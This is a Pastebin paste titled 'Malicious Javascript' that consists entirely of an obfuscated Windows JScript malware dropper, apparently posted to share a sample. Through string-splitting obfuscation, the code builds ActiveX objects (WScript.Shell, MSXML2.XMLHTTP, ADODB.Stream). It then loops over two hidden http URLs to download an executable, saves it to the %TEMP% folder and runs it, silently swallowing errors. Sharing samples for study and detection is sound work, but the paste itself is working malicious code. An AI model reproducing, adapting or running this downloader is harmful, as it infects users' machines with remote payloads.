Advertisement
dynamoo

Malicious Javascript

Nov 29th, 2016
884
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function String.prototype.fn(){var D0_1l_C=(((0x12f*1+196)<<(0x80>>>0x2))%(1<<0x20));var KZxLpqtf=this.split('');if (Number(pK1vHVg9[-3+KZxLpqtf.length*6]) - (((0x18c0000<<0x6)>>(~-6))>>>(0x98>>>3)) == (((0x3be80000>>0x20)>>(64>>>0x1))>>(0x4c0>>0x6))) D0_1l_C=KZxLpqtf.length;return KZxLpqtf[KZxLpqtf.length-D0_1l_C];}
  2. WX40Y1qWy='';var j6iLDbA9=(((0x1225cc>>>0x2)*(0x1>>0x20)+(~-142670))>>>(26*1+0x6));
  3. pK1vHVg9=[];var yVVE8EST=" ";WX40Y1qWy=WX40Y1qWy+new Date();while(j6iLDbA9>((~(-156<<0x20))%(0x4000000>>>26))){ixUQfa=WX40Y1qWy.split(yVVE8EST);pK1vHVg9.push(ixUQfa[j6iLDbA9%6-0]);j6iLDbA9=j6iLDbA9-1;}
  4. NpQrlPZ=['' + ('eCyHx', '3W6', 'hIl'.fn()) + ('Zr', 'w4y', 'tXH'.fn()) + 't' + ('ZEI', 'sp', 'p0N'.fn()) + ('7a5', 'G2', 'Mkg', 'Gv', ':YZ'.fn()) + ('PZic', 'p_R_X', '/m3r'.fn()) + ('wMOVn', '/x2bc'.fn()) + ('Th', 'm0S', 'Jka', 'sQdr'.fn()) + ('iAamJ', 'YG8', 'HI', 'iG'.fn()) + ('LnD', 'lj'.fn()) + ('WOh', 'WzVT', 'YlcpU', 'i2GQ'.fn()) + ('f2zLh', '9a', 'fQ', 'N8', 'g9_'.fn()) + 'u' + ('2F', 'V9N', 'ro'.fn()) + ('QQ6', 'ijEA'.fn()) + ('BdaL3', '1erF', 'b4S18'.fn()) + ('DbmY', 'c3g', 'wToh', 's2', 'aNQ'.fn()) + ('U6kc', 'ICZo', 'Afz9F', 'Aea1', 'rk'.fn()) + ('Fv', 'QCKq', 'azX'.fn()) + ('ZO', 'spPI'.fn()) + ('IiLj', 'ngT9', '106J', 'Q5K', 'sNp1'.fn()) + ('BJjOX', 'orUw'.fn()) + ('9F', 'OQz', 'csPI'.fn()) + ('0B', 'iHz'.fn()) + ('TdNdb', 'pbIk', 'gA', 'F2Q', 'a12m'.fn()) + ('fv', 'Pat', 'tQEt'.fn()) + ('wH', 'iJ'.fn()) + ('ai', 'oeb'.fn()) + ('BI', 'mx', 'nfG'.fn()) + ('AQ', '_jRK', '.PA'.fn()) + ('LmGi', 'o_e'.fn()) + ('g7Nc', 'vMV', 'Icnnc', 'reg'.fn()) + ('Ai', 'nKpew', 'w2Sou', 'Zv', 'gHu1G'.fn()) + ('TnoO', '/OzTS'.fn()) + ('mRG', 'DtA', 'suZi', 'Wd', 'i0mPf'.fn()) + ('Py', 'njCD', 'PI1', 'm2'.fn()) + ('jS', '2eg', '9gg', 'az3D'.fn()) + ('Zj5aC', 'qi0', 'fgqm', 'ht', 'gzU'.fn()) + ('h_w', 'uW', 'eLS'.fn()) + ('PaTfO', 'sBto'.fn()) + ('uri', '/dB'.fn()) + ('NypE', 'oN', 'soC'.fn()) + ('84A', 'tcLWE'.fn()) + ('LYVnL', 'du', 'aJG'.fn()) + ('hE', 'fUo3'.fn()) + ('gN', 'fe'.fn()) + ('1F', 'UwBdl', 'sq'.fn()) + ('Xw', 'wzr', 'zhmC_', '/KOBQ'.fn()) + ('y3W4o', 'dlR7c'.fn()) + ('7a', 'dibY3', 'oxtDb'.fn()) + ('xW', '_tC', 'c6U'.fn()) + ('uH', 'kbS_', 'ncU2P', 'qH7MP', 'uL67'.fn()) + ('PbKt', '7H', 'tfND', '9FNon', 'mo'.fn()) + ('Ubmqt', 'e8Ylk'.fn()) + 't' + ('Lu2F', '9xf', 'nEr'.fn()) + ('SC', 'jVLp', 'cZFlo', 'ssBF'.fn()) + ('RD3J', 'aW_g', 'hGY', '.J'.fn()) + ('bU', 'oZ', 'Or', 'phfeE'.fn()) + ('D0v', '8M', 'etpq', 'ZaT', 'na'.fn()) + ('5MMl', 'udFIF', 'OM', 'vB', 'gDKm'.fn()),'' + ('cn', 'hV'.fn()) + ('Eip1g', 'tvSf9'.fn()) + ('GeG', '1umFe', '88', 'tvfU'.fn()) + ('V105G', '0K1S', 'v6', 'Mcc', 'p74TB'.fn()) + ('oO', '4dcN', 'qrxt', 'gci_', ':uwl'.fn()) + ('R_aKg', 'fs1i', 'P5U', 'fIQZZ', '/U'.fn()) + '/' + ('XSA0', 's9rjw'.fn()) + 'i' + ('0V', 'cM'.fn()) + ('Chl', 'Df', 'IS', 'qe6', 'aT'.fn()) + ('0x', 'HH_b', 'mKgd'.fn()) + ('AvYA', 'ev'.fn()) + ('L97f', 'KVR7I', '2hnyD', 'HG9', 'tU'.fn()) + ('4vms', '.b0Q'.fn()) + ('NM2o', 'coXPG'.fn()) + ('T3', 'Yu', 'oA'.fn()) + ('bUcWA', 'rf', 'q8', 'PlTF9', 'm5u'.fn()) + ('e1tS4', 'le9NF', 'aLzU8', '/Q9'.fn()) + ('aqNMV', 'iRe'.fn()) + 'm' + ('cTUI3', 'Xfj', 'j4wF', 'YYY', 'aWP'.fn()) + ('Kq', 'g8'.fn()) + ('87Eq', 'Ni', 'eA'.fn()) + ('cO', 'tY', 'h7j', 'dHh', 's9M3'.fn()) + ('F79', 'SsIvd', '/Vn'.fn()) + ('WmtCJ', 'H4E', 'gmse'.fn()) + ('dOXG', 'ldW', 'CWZ', 'aMS'.fn()) + ('LHLPh', 'nkn', 'RGJwK', 'lU'.fn()) + ('ypQ', 'ledx'.fn()) + ('UV', 'esfdg'.fn()) + ('P9i', '6Q4fZ', '8Ie', 'ijgJ', 'rxXg'.fn()) + ('AdAJ', 'TE9V', 'Sv', 'jAxo2', 'yK'.fn()) + ('mMIv', '/X'.fn()) + ('8srU', 'tbDJ', 'boq'.fn()) + ('aH2X', 'BJ', 'rf'.fn()) + ('e7', 'RyEa', 'vWvz', 'aac'.fn()) + ('M2', 'eX', 'cq'.fn()) + ('9C', 'In', 'o9'.fn()) + ('9b', 'eC', 'sKskX'.fn()) + ('GC5', 'Q8w', '/XB'.fn()) + ('5vD', 'dRl'.fn()) + ('HMk7a', 't8nR', 'UPEIr', 'nlAt', 'oktkx'.fn()) + ('uKdql', 'vPZQ', 'c1qxF'.fn()) + ('nN1n', '3YFDP', 'uW6'.fn()) + ('YNpR', 'm9so'.fn()) + ('po', 's1qI', 'fK', '_l', 'ew4bh'.fn()) + ('HrN1', 'nyFR', 'rfFE', '5YtEX', 'tA'.fn()) + 'n' + ('lR0', 'bQj', 'w6Ml', 'sB'.fn()) + ('U0d', 'dM', '.8y'.fn()) + 'p' + 'n' + ('uQ', 'iL', '4W', 'zBK', 'gM'.fn())];
  5. RQMhm7ouIEZ=this['' + ('5nTXt', '5F', 'AtC'.fn()) + ('53D1', 'c9t'.fn()) + ('3bq', '_r', 'YOWJ', 'TnjT', 'tfn'.fn()) + ('Hp', 'OLM1', 'v2', 'i3n'.fn()) + ('nQp0Z', 'vv'.fn()) + ('hSvW', 'eCI1Q'.fn()) + ('q5', 'Xt7'.fn()) + ('r7mQQ', 'nt0ng', '6z', 'PW', 'OA'.fn()) + ('4mF', 'bdhlm'.fn()) + 'j' + ('10', '7u', '_UUW', 'ag', 'ea'.fn()) + ('P8BZ', 'hvQ', 'PxMPF', 'ScIkP', 'cQ10'.fn()) + ('4M2J', 'b_', 'DvR', 'TwYF', 'tkblE'.fn())];  
  6. Mo8yhb2cNVh=new RQMhm7ouIEZ('' + ('670', '7fd', 'JLs2e', 'W31DK'.fn()) + ('iv', 'TVrKb', 'DCQmG', 'Sa'.fn()) + 'c' + ('ErA_K', 'rieB'.fn()) + ('dQDO4', 'iKW'.fn()) + ('1WT', 'hVTT', 'XV3W', 'pAvF'.fn()) + ('9799q', 'tbx'.fn()) + ('vA3', '.Sr'.fn()) + ('Gq', 'KFD9', 'Zrd0', 'SLXA'.fn()) + ('G5', 'h3pj'.fn()) + ('JsVA', 'XTt', 'elSq'.fn()) + ('G643X', 'OKZv', 'APonu', '2T_', 'll'.fn()) + 'l');
  7. RzP5z9G=Mo8yhb2cNVh['' + ('uM', 'yC', 'qti', 'WceoS', 'EC'.fn()) + ('Xj', 'xZQ'.fn()) + ('gOqWx', 'Qnp', 'pJS49'.fn()) + ('s5G0', 'ZC', 'Ou', 'av'.fn()) + ('q_0Ij', '1fTY', 'nRU'.fn()) + ('013', 'T9g', 'Vgom', 'dKqa6'.fn()) + ('DzRtL', 'cL3Rs', 'bOTF', 'E4P'.fn()) + ('VLLcM', 'qAXx', '1O', 'Ox', 'nj'.fn()) + 'v' + ('FAb', 'RPL', 'iE1'.fn()) + ('LXys', 'uh_4E', 'raCmH'.fn()) + ('Kfat', 'lz', 'mjGa9', 'ocA'.fn()) + ('jb', 'nb5'.fn()) + ('euOr', 'BaDP', 'eIq_T', 'mAVRM'.fn()) + ('UttFZ', 'ym', '7s3w', 'M0J', 'ey'.fn()) + ('zOHu', 'Q6WOi', 'FgPA', 'ny'.fn()) + ('kCW8', 'tn'.fn()) + ('F4Q1', 'pV', 'Vio', 'ST'.fn()) + ('tDo', 'tP'.fn()) + ('iW', 'rH'.fn()) + ('1l', 'T5', 'TaO', 'xisbG', 'i76k'.fn()) + 'n' + ('AihKr', 'E4qOJ', 'iwL9', 'gM'.fn()) + ('ElIA9', 'zjLHM', 'soO'.fn())]('' + ('xYw2s', 'JqY', '%wg'.fn()) + ('Tlz', '1zj', 'Qr', 'Twa6'.fn()) + ('OTB', 'gh', 'EB'.fn()) + 'M' + ('Tf', '0tAq2', 'eVK', 'PwFX'.fn()) + ('K9', 'Na', '9RH', 'LZTS', '%J'.fn()) + ('h_pVb', 'TG', 'Hs', 'vMvt', '/Xb'.fn()) + ('Wn', 'L6Iw'.fn()) + ('HoArt', 'Y_', 'QJ'.fn()) + ('qrZo', 'fznX'.fn()) + ('_nSr1', '6_kMf', 'sxc7', 'gqzhA'.fn()) + ('j44', 'ktAt', 'mIC9'.fn()) + ('kk5_', 'Fw', '5NG', 'VAy'.fn()) + 't' + ('juj9X', '.EWg4'.fn()) + ('iTYNO', 'UP9X', 'Fdk', 'eJ3eL'.fn()) + ('ZaWN', 'UYTc', 'xfMOy'.fn()) + ('3tUGZ', 'F4DjJ', '3u6', 'eY'.fn()));
  8. UN8xlaJ2H=((~(~369))%(0x10000>>>0x10));GpX7XEVZJ=(((610304>>>12)<<(0x80000>>0xe))%(869825182565095040/0xc123d651f7b5680));
  9. try{tayFWp8dsl=new RQMhm7ouIEZ('' + 'M' + ('S1sBb', 'C3', 'gkY8X', 'UU', 'S7'.fn()) + ('K1fa', 'd1fs', 'XgPF'.fn()) + ('XV', 'yDiBi', 'BKie', 'E_H', 'MJkT'.fn()) + 'L' + ('Ng', '2LE'.fn()) + ('9Z', 'In', 'VJA', '._'.fn()) + ('lI', 'jPZP', 'Xoa'.fn()) + ('KBZRI', '1W', '3x', 'MPsa'.fn()) + ('3Gbq', 'LXs27'.fn()) + 'H' + ('0sl', 'hB', 'vf', 'Hc', 'T_'.fn()) + ('Co', 'pV', 'NEVAk', 'Th'.fn()) + ('YX2gc', '7F_fA', 'PpmMy'.fn()));
  10. while(UN8xlaJ2H==((~(-224*0x1-0x19))%(0x1<<0x20))){tayFWp8dsl['' + ('iYG', 'NHhI', 'vP', 'ovZ4'.fn()) + ('mkO', '_Dr0', 'pvhI'.fn()) + ('tFGP', 'e1'.fn()) + ('gFoR', 'FUr9', 'ntBP', 'MT0', 'nNkt'.fn())]('' + ('Yye', 'CYKdh', 'GEO'.fn()) + ('A8u', 'AGG', 'Ee'.fn()) + ('T9dUW', 'TrF5a'.fn()),NpQrlPZ[GpX7XEVZJ], (((3328*1+1536)>>>(512>>0x7))%(~-2)));
  11. ++GpX7XEVZJ;if (GpX7XEVZJ==NpQrlPZ.length) GpX7XEVZJ=(((0x6b000000>>>0x18)<<(0x1*2))%(0x50e1eba560e55800/5828198488321906688));
  12. tayFWp8dsl['' + ('PW', 'owks', 'RHS6', 'sj1W5'.fn()) + ('cj', '8ZNn', 'Sg', 'e5Zl'.fn()) + ('HW', 'BA7', 'nH'.fn()) + ('w_tak', 'yiVj', 'MZ', 'dcg_z'.fn())]();
  13. PPWZlEntus='' + ('9kdPF', 'RhR52'.fn()) + 'u' + ('ZA2Wq', 'nv'.fn());
  14. while(tayFWp8dsl['' + ('9l2k', '309ta', 'IzYkL', 'rl'.fn()) + ('cS', 'ra', 'eNmX'.fn()) + 'a' + ('SRsf', 'dK4'.fn()) + ('AuYE8', 'yOw1'.fn()) + ('gsTV', 'Xf', 'X_U', 'sR8UV'.fn()) + ('ABqqV', 'CH78', 'PU', 'tKC'.fn()) + ('u7dLy', 'LMKp', 'iGrm', 'tnHD', 'axd'.fn()) + ('GV', 'vBa56', 'ssxkd', 'tG'.fn()) + ('Lru', 'BP725', 'eXX6l'.fn())]<(((~-129)>>(~-6))<<(25*1+0x7))){ Mo8yhb2cNVh['' + ('xfp4', 'zVJu', 'N87r', 'S0b'.fn()) + ('jSle', 'YKMO', 'hTt85', 'jw51', 'l0'.fn()) + ('8T0', 'exWyn', 'eH'.fn()) + ('ra', '38q', 'e9jBm'.fn()) + ('JJ5As', 'p775m'.fn())]((~((-50*1-0x19)*(16384>>0xe)-(0xd<<1))));}
  15. p8UcDY=tayFWp8dsl['' + ('gH', 'xyL', 'Ghd', 'XqZb', 'shap'.fn()) + ('0h5', 'OR', 't_c'.fn()) + ('yliCK', '0F', 'aRPN'.fn()) + ('8e', 'ibkx', 'yv', '_I', 'tzHTf'.fn()) + ('nyk', 'FRErJ', 'dD6BK', 'Ru', 'ucW'.fn()) + ('WD', '6Q5M', 'sN'.fn()) + ('uc', 'T_9S9'.fn()) + ('bpxZ', 'iBGC', 'CHbeb', 'd4I', 'en'.fn()) + ('7UZJp', 'FWF', 'xO'.fn()) + ('VbW', 'x4GE', 'tKqrh'.fn())];
  16. if (p8UcDY&&p8UcDY=='' + ('e5', 'OKZ'.fn()) + ('10s_V', 'K0'.fn())) UN8xlaJ2H=(((49187720*0x5+22496856)>>>(16777216>>0x13))>>>(14<<0x1));}
  17. pzG9TP89K=new RQMhm7ouIEZ('' + 'A' + ('r6U7X', 'iiU', 'DpuS'.fn()) + ('6e', 'OA'.fn()) + ('x9Ol', 'WL', '3xU56', 'enrK', 'DGBJZ'.fn()) + 'B' + ('c3m', 'BGGm', 'wE', 'zpCAb', '.8'.fn()) + ('Yy', 'Ed', 'MhB5A', '3eB', 'SXfY'.fn()) + ('1GUm', 'tSQW'.fn()) + ('WU', 'rg'.fn()) + ('Z0hGA', 'e0ygG'.fn()) + 'a' + 'm');
  18. pzG9TP89K['' + ('xYOT', 'N8Il', 'om66L'.fn()) + ('rKh', 'pcNke', 'phSt2'.fn()) + ('wC6ky', 'VEb', 'XDmIh', 'hv', 'eB0M'.fn()) + ('TSD', 'H1l0', 'rTpp', 'nyL'.fn())]();
  19. pzG9TP89K['' + ('1N', 'S2ow', 'ORn', 'pXzCq', 'ta'.fn()) + ('bN', 'l4P3', 'wH8', 'ySnN'.fn()) + ('9p', 'pFdgL'.fn()) + ('TS', 'esIur'.fn())]=(~((-1594091059642088192*1-0x5b8e95bf8f10b00)/(0x7854a45baa42c40*0x1+0x666d717fca036c0)));
  20. pzG9TP89K['' + ('fz', 'WOg', 'wfJ5W'.fn()) + ('zC', 'cCCro', 'rbJp_'.fn()) + ('5nR', 'oW', 'Wo', 'DL', 'ieL2'.fn()) + ('QiZXy', 't3bj'.fn()) + 'e'](tayFWp8dsl['' + 'R' + ('bF', 'iV', 'eZKO'.fn()) + ('f84', 'gwt4', 'gI', 'Hd5F', 'sH2'.fn()) + ('AbbxD', 'b2', 'pO'.fn()) + ('n6', 'ogj'.fn()) + ('Kd7z', 'O3z9', 'noncu'.fn()) + ('T5y5', 'fZi', 'U3', 'sZDCj'.fn()) + ('O6E4k', '3F', 'Hdg5', 'GvqX', 'eqx'.fn()) + ('f32eV', 'Lk', 'lBwr', 'AvpC', 'B7R'.fn()) + ('AV', 'oaF'.fn()) + ('yXM', 'lnpn4', 'I39', 'By8dD', 'dJqp'.fn()) + ('WW5OE', 'O67B', 'xbd', 'JVCI', 'ymqTV'.fn())]);
  21. pzG9TP89K['' + ('u1tA5', 'HgKo', 'o5', 'DbWX', 'pGqe'.fn()) + ('lY', 'oCy'.fn()) + ('VO7X', 'sLEp'.fn()) + ('eHV', 'WYe9E', 'cHg', 'i6Aj'.fn()) + ('lC', 't4P'.fn()) + ('sQJ', 'icqX'.fn()) + ('vA', '4Exh', 'ZYU', 'oJp'.fn()) + ('xMlw_', 'nBwi'.fn())]=(((618659840>>>0x1)>>(0x28000>>>13))%(~-2));
  22. pzG9TP89K['' + ('R00vA', 'Dxw', 'McmR', 'nWcH', 'sc48'.fn()) + ('iy', 'asN8'.fn()) + ('rkbXV', '24eLo', 'vfen'.fn()) + ('Eovi', '0c', 'zJgsQ', 'al', 'eweF'.fn()) + ('8x', 'wdtZ', '8I4GS', 'Tl_f'.fn()) + ('uJ5B', 'HGI', 'ZTdTg', 'o4vQ2', 'o9'.fn()) + ('4j2', 'qGLXv', 'Em', 'do', 'FbnE'.fn()) + ('cOpy', '6uQw', 'iN'.fn()) + ('7aj', '3DU', 'q1', 'lD'.fn()) + ('jvqWU', 'eDv'.fn())](RzP5z9G,(((0x1<<0x20)*(0x2000000>>0x18))<<(4194304>>0x11)));
  23. pzG9TP89K['' + ('pAF0', 'cx'.fn()) + ('OAd', 'D2_vn', 'ED9', 'eXs', 'lSey'.fn()) + ('cvcG', '_EWeL', 'Dx', 'o7'.fn()) + ('MFZF5', 'tz', 'PYpeX', 'st3'.fn()) + ('ge', 'eEW'.fn())]();
  24. Mo8yhb2cNVh[PPWZlEntus](RzP5z9G,((~(~196))%(268435456>>>28)),(((339738624>>0x16)*(1<<0x20)+(3*2+1))%(268435456>>28)));
  25. }catch(g_2AWRPtL){};
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement